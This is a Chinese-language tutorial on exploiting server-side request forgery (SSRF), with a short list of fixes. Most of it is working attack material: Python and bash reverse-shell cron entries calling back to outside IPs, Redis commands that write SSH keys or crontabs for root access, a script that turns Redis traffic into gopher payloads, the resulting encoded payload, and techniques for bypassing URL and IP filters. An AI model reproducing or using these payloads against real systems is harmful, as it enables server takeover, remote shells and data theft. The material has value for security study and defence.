ssrf漏洞,全稱為服務端請求偽造漏洞,由於有的web應用需要實現從其它服務器上獲取資源的功能,但是沒有對url進行限制,導致可以構造非本意的url對內網或者其它服務器發起惡意請求。
ssrf漏洞的危害可以通過ssrf漏洞可以對內網或本地機器進行主機發現,服務版本探測或者針對內網或本地一些薄弱的應用進行攻擊,同時利用ssrf漏洞還可以時服務器主動發起請求,從而做為一個攻擊跳板或者繞過CDN找到其服務器的真實ip
file_get_contents(),fsockopen(),curl_exec()三個函數使用不當時將會造成ssrf
大部分 PHP 並不會開啟 fopen 的 gopher wrapper file_get_contents 的 gopher 協議不能 URLencode file_get_contents 關於 Gopher 的 302 跳轉有 bug,導致利用失敗 curl/libcurl 7.43 上 gopher 協議存在 bug(%00 截斷),經測試 7.49 可用 curl_exec() //默認不跟蹤跳轉, file_get_contents() // file_get_contents支持php://input協議
修復方法:
修復方案: • 限制協議為HTTP、HTTPS • 禁止30x跳轉 • 設置URL白名單或者限制內網IP
反彈shell定時任務:
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
針對centos和ubuntu寫定時任務的方法可能不同,具體見文章:
https://joychou.org/web/hackredis-enhanced-edition-script.html
通過SSRF還可以攻擊redis和mysql
一般來說通過ssrf可以首先收集內網信息,比如存活的ip,以及對存活ip進行端口服務探測,可以使用dict://協議,
curl -vvv 'dict://127.0.0.1:6379/info'
1.SSRF+內網redis(通常為3679端口):
如果存在/root/.ssh目錄,直接root權限寫/root/.ssh/authorized_keys 如果不存在/root/.ssh目錄,直接root寫crontab定時任務
1.1存在/root/.ssh目錄(寫入公鑰,直接ssh登錄)
ssh-keygen -t rsa (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit redis-cli -h 192.168.1.100 -p 6379
192.168.1.100:6379>
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save
quit
1.2不存在/root/.ssh目錄則寫crontab(ssrf+redis未授權訪問+gopher)
可進行利用的cron有如下幾個地方: /etc/crontab 這個是肯定的 /etc/cron.d/* 將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個目錄,可以做到不覆蓋任何其他文件的情況進行彈shell。 /var/spool/cron/root centos系統下root用戶的cron文件 /var/spool/cron/crontabs/root debian系統下root用戶的cron文件
這里記錄一下如何將命令行下的指令轉換為gopher協議的數據格式,方便ssrf使用,利用socat進行端口數據轉發,原理:
經過4444端口轉發的數據包將被送到6379端口,即相當於一個中間人端口
若寫入crontab的sheel腳本如下:
echo -e "\n\n* * * * * bash -i >& /dev/tcp/192.168.1.34/7777 0>&1\n\n" | redis-cli -h $1 -p $2 -x set aaa redis-cli -h $1 -p $2 config set dir /etc/ redis-cli -h $1 -p $2 config set dbfilename crontab redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
其中-x參數是接收標准輸入也就是通過|管道的輸出,即echo的這一條crontab指令
然后執行:
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
./rediscron.sh 127.0.0.1 4444
就會接收到:
此時只需要將其轉換為gopher格式的數據:
根據轉換規則:
如果第一個字符是>或者< 那么丟棄該行字符串,表示請求和返回的時間。
如果前3個字符是+OK 那么丟棄該行字符串,表示返回的字符串。
將\r字符串替換成%0d%0a
空白行替換為%0a
0d------回車符號------"/r"
0a------換行符號------"/n"
Windows 在行尾使用 CRLF (carriage return/line feed, 0d 0a)
UNIX 只使用 LF(0a)
轉換腳本如下:
#coding: utf-8 import sys exp = '' with open("payload.txt") as f: for line in f.readlines(): if line[0] in '><+': continue # 判斷倒數第2、3字符串是否為\r elif line[-3:-1] == r'\r': #如果該行只有\r,將\r替換成%0a%0d%0a if len(line) == 3: exp = exp + '%0a%0d%0a' else: line = line.replace(r'\r', '%0d%0a') # 去掉最后的換行符 line = line.replace('\n', '') exp = exp + line # 判斷是否是空行,空行替換為%0a elif line == '\x0a': exp = exp + '%0a' else: line = line.replace('\n', '') exp = exp + line print exp
輸出為:
*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0aaaa%0d%0a$57%0d%0a%0a%0a* * * * * bash -i >& /dev/tcp/192.168.1.34/7777 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$5%0d%0a/etc/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$7%0d%0acrontab%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a
此時已經生成了gopher的數據,然后直接拼接:
gopher://ip:6379/_+payload 注意要加_
然后就會在監聽端就會收到返回的shell。
2.gopher+mysql(未授權訪問)
首先肯定要知道mysql的登陸賬號,密碼為空
通過gopher打mysql的話,直接將含有sql語句的數據包的16進制編碼為gopher協議格式,見以下鏈接:
https://xz.aliyun.com/t/4420#toc-3,或者直接使用gopherus工具,真的是太方便了
繞過技巧:
@ (curl和parse_url解析host不同,curl(lib_url)取第一個@符號后的,parse_url取最后一個@符號后的) 添加端口號 短網址繞過(通過添加短網址,讓其還是指向內網ip) 指向任意IP的域名http://xip.io http://10.0.0.1.xip.io resolves to 10.0.0.1 www.10.0.0.1.xip.io resolves to 10.0.0.1 http://mysite.10.0.0.1.xip.io resolves to 10.0.0.1 foo.http://bar.10.0.0.1.xip.io resolves to 10.0.0.1 如果讀取文件時如果限制必須為某個host,則file://localhost/etc/passwd也可以讀取
IP限制繞過 十進制轉換 八進制轉換 十六進制轉換 不同進制組合轉換 協議限制繞過 當url協議限定只為http(s)時,可以利用follow redirect 特性 <?php header("Location:gopher://127.0.0.1:6379/_");?> 構造302跳轉服務, 結合dict:// file:// gopher://
ssrf+繞過ip限制:https://www.freebuf.com/articles/web/135342.html